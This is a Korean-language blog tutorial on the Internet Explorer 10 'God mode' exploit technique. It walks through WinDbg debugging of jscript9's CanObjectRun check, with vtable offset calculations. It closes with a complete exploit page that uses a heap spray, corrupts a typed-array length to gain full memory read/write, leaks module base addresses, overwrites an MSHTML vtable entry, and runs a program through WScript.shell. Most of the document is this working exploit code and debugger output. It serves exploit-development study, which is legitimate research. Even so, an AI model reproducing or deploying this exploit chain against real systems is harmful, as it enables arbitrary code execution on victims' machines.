Internet Explorer 10 Exploit - God mode
# IE 10 Exploit (using God mode)
activex object 중 아래 소스에 포함된 wscript.shell 과 같이 권한이 너무 강력해서 취약한 object 는
보안 정책에 의해 default 로 사용이 불가하다. 허용으로 바꿔준다 하더라도 경고창에서 직접 승인을 눌러줘야만 한다.
=====================================
<html>
<head>
<script language="javascript">
shell = new ActiveXObject("WScript.shell");
shell.Exec('calc.exe');
</script>
</head>
<body>
</body>
</html>
=====================================
하지만, 아래와 같은 단계로 우회가 가능하다.
1) 먼저, 특정 주소의 값을 바꿀 수 있는 상태여야 한다.
ex1) js array length modify
ex2) flash vector length modify
=> 보통 1 byte 변조로 객체 length 변조 후, 변조된 객체로 2차 다른 객체의 길이를 0x3fffffff 등으로 바꿔서 전체 프로세스 메모리 접근 권한을 획득함
=> cve-2014-0322(snowman) 참고(값 1 증가 uaf)
2) jscript9!ScriptEngine::CanObjectRun 함수 내부의 객체(s_apfnPlainTearoff) 의 vtable 을 조작하여 CanObjectRun 함수 결과값을 항상 true 로 조작
3) 자바스크립트로 calc 마음대로 실행 가능(Godmode on)
이러한 방법으로 임의코드 실행을 하는 것을 godmode 를 이용한 Exploit 이라 부른다. VBScript 에서도 된다고 함.
====== 디버깅 과정 ======
1) 허용하시겠습니까? alert 창 상태에서 BP 걸고 콜스택을 통해 호출 함수 확인
0:007> x user32!create*
브뽀 걸리면
0:012> kb 10
# ChildEBP RetAddr Args to Child
00 047aacf4 71003ccf 00000000 66e6bc38 047aadcc user32!CreateWindowExW
01 047aad34 66e4697a 00000000 66e6bc38 047aadcc IEShims!NS_HangResistanceInternal::APIHook_CreateWindowExW+0x64
02 047aad74 66dd213d 00000000 66e6bc38 047aadcc IEFRAME!SHFusionCreateWindowEx+0x47
03 047aaed0 66dd1f39 047aaf24 00000fa6 047aaf68 IEFRAME!UnifiedFrameAware_AcquireModalDialogLockAndParent+0x3c1
04 047aaf1c 66dd1e23 00000000 047aaf48 047aaf68 IEFRAME!UnifiedFrameAware_AcquireModalDialogLockAndParent+0xea
05 047aaf3c 7101a148 001005bc 047aaf68 047aaf54 IEFRAME!TabWindowExports::AcquireModalDialogLockAndParent+0x1b
06 047aaf58 76cc5742 76c30000 00000fa6 001005bc IEShims!NS_UISuppression::APIHook_DialogBoxParamW+0x31
07 047ab788 76ceba1c 001005bc 00000fa6 76cc3058 urlmon!CSecurityManager::DisplayMessage+0x40
08 047abb2c 76c70f7b 0cb6835c 00001204 047abbdc urlmon!memset+0x11504
09 047abb70 65ff5a0b 05b9bc78 0cb6835c 00001204 urlmon!CSecurityManager::ProcessUrlActionEx2+0x15f
0a 047abbe4 65ff5b07 00001204 047abc54 00000000 MSHTML!CMarkup::ProcessURLAction2+0x31d
0b 047abc14 66b35f88 00001204 047abc54 00000000 MSHTML!CMarkup::ProcessURLAction+0x3e
0c 047abca0 660c2e27 00000001 65f36348 0d32a9a4 MSHTML!memcpy+0xff91b
0d 047abce4 6e85bb25 0b4da290 6e85bb60 047abd1c MSHTML!CDocument::HostQueryCustomPolicy+0x148
0e 047abd5c 6e85b79c 0d32a9a4 00000002 01d13120 jscript9!ScriptEngine::CanObjectRun+0x78
0f 047abda8 6e85b5cf 00000000 047abdd4 5bda28d7 jscript9!ScriptSite::CreateObjectFromProgID+0xdf
jscript9!ScriptEngine::CanObjectRun+0x78 이 부분을 통해 실행 여부가 결정됨.
또한, 해당 함수는 CreateObjectFromProgID 내부에서 호출됨.
2) 함수 분석
# CreateObjectFromProgID 분석
0:012> uf jscript9!ScriptSite::CreateObjectFromProgID
jscript9!ScriptSite::CreateObjectFromProgID:
6e85b6b9 8bff mov edi,edi
6e85b6bb 55 push ebp
...(중략)...
6e85b78c 8b4ddc mov ecx,dword ptr [ebp-24h]
6e85b78f ff33 push dword ptr [ebx]
6e85b791 8b4904 mov ecx,dword ptr [ecx+4]
6e85b794 8d55ec lea edx,[ebp-14h]
6e85b797 e811030000 call jscript9!ScriptEngine::CanObjectRun (6e85baad) // CanObjectRun 결과에 따라서 실행여부 결정
6e85b79c 85c0 test eax,eax
6e85b79e 0f844c7c0800 je jscript9!ScriptSite::CreateObjectFromProgID+0xfd (6e8e33f0) Branch
포인트는 CanObjectRun 결과값 (EAX) 이 0 만 아니면 참이 되어 곧바로 실행 된다는 것!!(godmode)!
이를 위해 CanObjectRun 을 분석하여 0이 아닌 값을 리턴하도록 조작해줘야 한다. 내부에서 사용되는 객체 하나의 VTable 을 조작한다.
# CanObjectRun 분석
0:006> uf jscript9!ScriptEngine::CanObjectRun
jscript9!ScriptEngine::CanObjectRun:
6e85baad 8bff mov edi,edi
6e85baaf 55 push ebp
6e85bab0 8bec mov ebp,esp
6e85bab2 83ec48 sub esp,48h
...(중략)...
6e85bb12 52 push edx
6e85bb13 8d55c0 lea edx,[ebp-40h]
6e85bb16 52 push edx
6e85bb17 6860bb856e push offset jscript9!GUID_CUSTOM_CONFIRMOBJECTSAFETY (6e85bb60)
6e85bb1c 895de4 mov dword ptr [ebp-1Ch],ebx
6e85bb1f 8b08 mov ecx,dword ptr [eax]
6e85bb21 50 push eax
6e85bb22 ff5114 call dword ptr [ecx+14h] // 이 호출을 조작하기 위해 VTable 을 덮어씀
=> 이 호출 직전 eax 는 0이 아니므로, 이 상태로 call 명령과 동시에 함수가 바로 종료되도록 에필로그로 덮어씀
=> VTable 은 항상 일정한 Offset 이고, 취약점으로 메모리 읽기/쓰기가 가능하므로 조작 가능
# 조작할 오프셋 구하기
009> bp jscript9!ScriptEngine::CanObjectRun+0x75
009> g
jscript9!ScriptEngine::CanObjectRun+0x75:
6e85bb22 ff5114 call dword ptr [ecx+14h] ds:0023:66b67884={MSHTML!TearoffThunk5 (6601e30e)}
0:012> ln @ecx // 현재 호출된 객체 심볼 확인
Exact matches:
MSHTML!s_apfnPlainTearoffVtable = <no type information>
0:012> dds ecx // VTable 확인
66b67870 65f3dd56 MSHTML!PlainQueryInterface
66b67874 65f3d69d MSHTML!CAPProcessor::AddRef
66b67878 65f3d6b5 MSHTML!PlainRelease
66b6787c 65f3c1d2 MSHTML!TearoffThunk3
66b67880 6601b017 MSHTML!TearoffThunk4
66b67884 6601e30e MSHTML!TearoffThunk5
66b67888 6601f130 MSHTML!TearoffThunk6
66b6788c 6637e99d MSHTML!TearoffThunk7
원래 호출되는 주소는 VTable 에서 0x14 떨어진 6번째 함수임(MSHTML!TearoffThunk5). 이 주소를 에필로그 주소로 덮어씀
# 덮어써야할 주소 => VTable Offset 계산
0:012> ? MSHTML!s_apfnPlainTearoffVtable-mshtml
Evaluate expression: 13006960 = 00c67870
# 덮어쓸 주소 => 에필로그 Offset 계산
0:012> ? 6e85bb5c - jscript9
Evaluate expression: 899932 = 000dbb5c
# mshtml base addr 구하기 => div element 생성하면 + 0x10 에 MSHTML!CBaseTypeOperations::CBaseFinalizer 주소가 있음.
0:023> ? MSHTML!CBaseTypeOperations::CBaseFinalizer - mshtml
Evaluate expression: 249949 = 0003d05d
이제 전체 코드를 실행하고 alert 창이 뜨면 TypedArray<int> 객체의 length 를 변조해 준다.
힙스프레이를 통해 항상 0x0c0af000 에 위치한다.
0:023> dd 0x0c0af000
0c0af000 68d238c8 057e98a0 00000000 00000003
0c0af010 00000004 00000000 00000016 0225baa0
0c0af020 05da2e20 00000000 00000000 00000000
0c0af030 68d238c8 057e98a0 00000000 00000003
0c0af040 00000004 00000000 00000016 0225baa0
0c0af050 05da2e20 00000000 00000000 00000000
0c0af060 68d238c8 057e98a0 00000000 00000003
0c0af070 00000004 00000000 00000016 0225baa0
0:020> ed 0x0c0af018 0x20000000
0:023> dd 0x0c0af000
0c0af000 68d238c8 057e98a0 00000000 00000003
0c0af010 00000004 00000000 20000000 0225baa0
0c0af020 05da2e20 00000000 00000000 00000000
0c0af030 68d238c8 057e98a0 00000000 00000003
0c0af040 00000004 00000000 00000016 0225baa0
0c0af050 05da2e20 00000000 00000000 00000000
0c0af060 68d238c8 057e98a0 00000000 00000003
0c0af070 00000004 00000000 00000016 0225baa0
정상적으로 calc 가 실행된다.
<html> <head> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <script language="javascript"> (function() { alert("Starting!"); //----------------------------------------------------- // From one-byte-write to full process space read/write //----------------------------------------------------- a = new Array(); // 8-byte header | 0x58-byte LargeHeapBlock // 8-byte header | 0x58-byte LargeHeapBlock // 8-byte header | 0x58-byte LargeHeapBlock // . // . // . // 8-byte header | 0x58-byte LargeHeapBlock // 8-byte header | 0x58-byte ArrayBuffer (buf) // 8-byte header | 0x58-byte LargeHeapBlock // . // . // . for (i = 0; i < 0x200; ++i) { a[i] = new Array(0x3c00); if (i == 0x80) buf = new ArrayBuffer(0x58); // must be exactly 0x58! for (j = 0; j < a[i].length; ++j) a[i][j] = 0x123; } // 0x0: ArrayDataHead // 0x20: array[0] address // 0x24: array[1] address // ... // 0xf000: Int32Array // 0xf030: Int32Array // ... // 0xffc0: Int32Array // 0xfff0: align data for (; i < 0x200 + 0x400; ++i) { a[i] = new Array(0x3bf8) for (j = 0; j < 0x55; ++j) a[i][j] = new Int32Array(buf) } // vftptr => jscript9!Js::TypedArray<int> // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020 // 0c0af020: 03133de0 array_len buf_addr // jsArrayBuf alert("Set byte at 0c0af01b to 0x20"); // Now let's find the Int32Array whose length we modified. int32array = 0; for (i = 0x200; i < 0x200 + 0x400; ++i) { for (j = 0; j < 0x55; ++j) { if (a[i][j].length != 0x58/4) { int32array = a[i][j]; break; } } if (int32array != 0) break; } if (int32array == 0) { alert("Can't find int32array!"); window.location.reload(); return; } // This is just an example. // The buffer of int32array starts at 03c1f178 and is 0x58 bytes. // The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8. // The value in parentheses, at 03c1f178+0x60+0x24, points to the following // LargeHeapBlock. // // 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 // 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 // 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000 // 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020 // 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000 // 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000 // 03c1f238: ... // We check that the structure above is correct (we check the first LargeHeapBlocks). // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18 var vftptr1 = int32array[0x60/4], vftptr2 = int32array[0x60*2/4], vftptr3 = int32array[0x60*3/4], nextPtr1 = int32array[(0x60+0x24)/4], nextPtr2 = int32array[(0x60*2+0x24)/4], nextPtr3 = int32array[(0x60*3+0x24)/4]; if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 || nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) { alert("Error!"); window.location.reload(); return; } buf_addr = nextPtr1 - 0x60*2; // Now we modify int32array again to gain full address space read/write access. if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) { alert("Error!"); window.location.reload(); return; } int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000; // new length int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0; // new buffer address function read(address) { var k = address & 3; if (k == 0) { // #### return int32array[address/4]; } else { alert("to debug"); // .### #... or ..## ##.. or ...# ###. return (int32array[(address-k)/4] >> k*8) | (int32array[(address-k+4)/4] << (32 - k*8)); } } function write(address, value) { var k = address & 3; if (k == 0) { // #### int32array[address/4] = value; } else { // .### #... or ..## ##.. or ...# ###. alert("to debug"); var low = int32array[(address-k)/4]; var high = int32array[(address-k+4)/4]; var mask = (1 << k*8) - 1; // 0xff or 0xffff or 0xffffff low = (low & mask) | (value << k*8); high = (high & (0xffffffff - mask)) | (value >> (32 - k*8)); int32array[(address-k)/4] = low; int32array[(address-k+4)/4] = high; } } //--------- // God mode //--------- // At 0c0af000 we can read the vfptr of an Int32Array: // jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60 //jscript9 = read(0x0c0af000) - 0x3b60; 원본 jscript9 = read(0x0c0af000) - 0x38c8; // by hyunmini // Now we need to determine the base address of MSHTML. We can create an HTML // object and write its reference to the address 0x0c0af000-4 which corresponds // to the last element of one of our arrays. // Let's find the array at 0x0c0af000-4. for (i = 0x200; i < 0x200 + 0x400; ++i) a[i][0x3bf7] = 0; // We write 3 in the last position of one of our arrays. IE encodes the number x // as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart. // Either we use an odd number or a valid address otherwise IE will crash in the // following for loop. write(0x0c0af000-4, 3); leakArray = 0; for (i = 0x200; i < 0x200 + 0x400; ++i) { if (a[i][0x3bf7] != 0) { leakArray = a[i]; break; } } if (leakArray == 0) { alert("Can't find leakArray!"); window.location.reload(); return; } function get_addr(obj) { leakArray[0x3bf7] = obj; return read(0x0c0af000-4, obj); } // Back to determining the base address of MSHTML... // Here's the beginning of the element div: // +----- jscript9!Projection::ArrayObjectInstance::`vftable' // v // 70792248 0c012b40 00000000 00000003 // 73b38b9a 00000000 00574230 00000000 // ^ // +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a var addr = get_addr(document.createElement("div")); //mshtml = read(addr + 0x10) - 0x58b9a; 원본 mshtml = read(addr + 0x10) - 0x3d05d; // by hyunmini // We want to overwrite mshtml+0xc555e0+0x14 with jscript9+0xdc164 where: // * mshtml+0xc555e0 is the address of the vftable we want to modify; // * jscript9+0xdc164 points to the code "leave / ret 4". // As a result, jscript9!ScriptEngine::CanObjectRun returns true. //var old = read(mshtml+0xc555e0+0x14); // 원본 var old = read(mshtml+0xc67870+0x14); // by hyunmini //write(mshtml+0xc555e0+0x14, jscript9+0xdc164); // God mode on! 원본 write(mshtml+0xc67870+0x14, jscript9+0xdbb5c); // God mode on! by hyunmini shell = new ActiveXObject("WScript.shell"); shell.Exec('calc.exe'); write(mshtml+0xc67870+0x14, old); // God mode off! by hyunmini alert("All done!"); })(); </script> </head> <body> </body> </html>
'Windows System Hacking' 카테고리의 다른 글
[개정판] "윈도우 시스템 해킹 가이드: 버그헌팅과 익스플로잇" 출간 안내 (3) | 2019.12.04 |
---|---|
[번역] Smashing The Browser: From Vulnerability Discovery To Exploit (0) | 2017.11.15 |
쉘코드 인코더 구현 / GetPC - 현재 실행 코드(eip, pc) 구하는 방법 (1) | 2015.01.12 |
Windows Heap Internals (0) | 2014.12.17 |
Paimei - pstalker 모듈 소개 (0) | 2013.06.19 |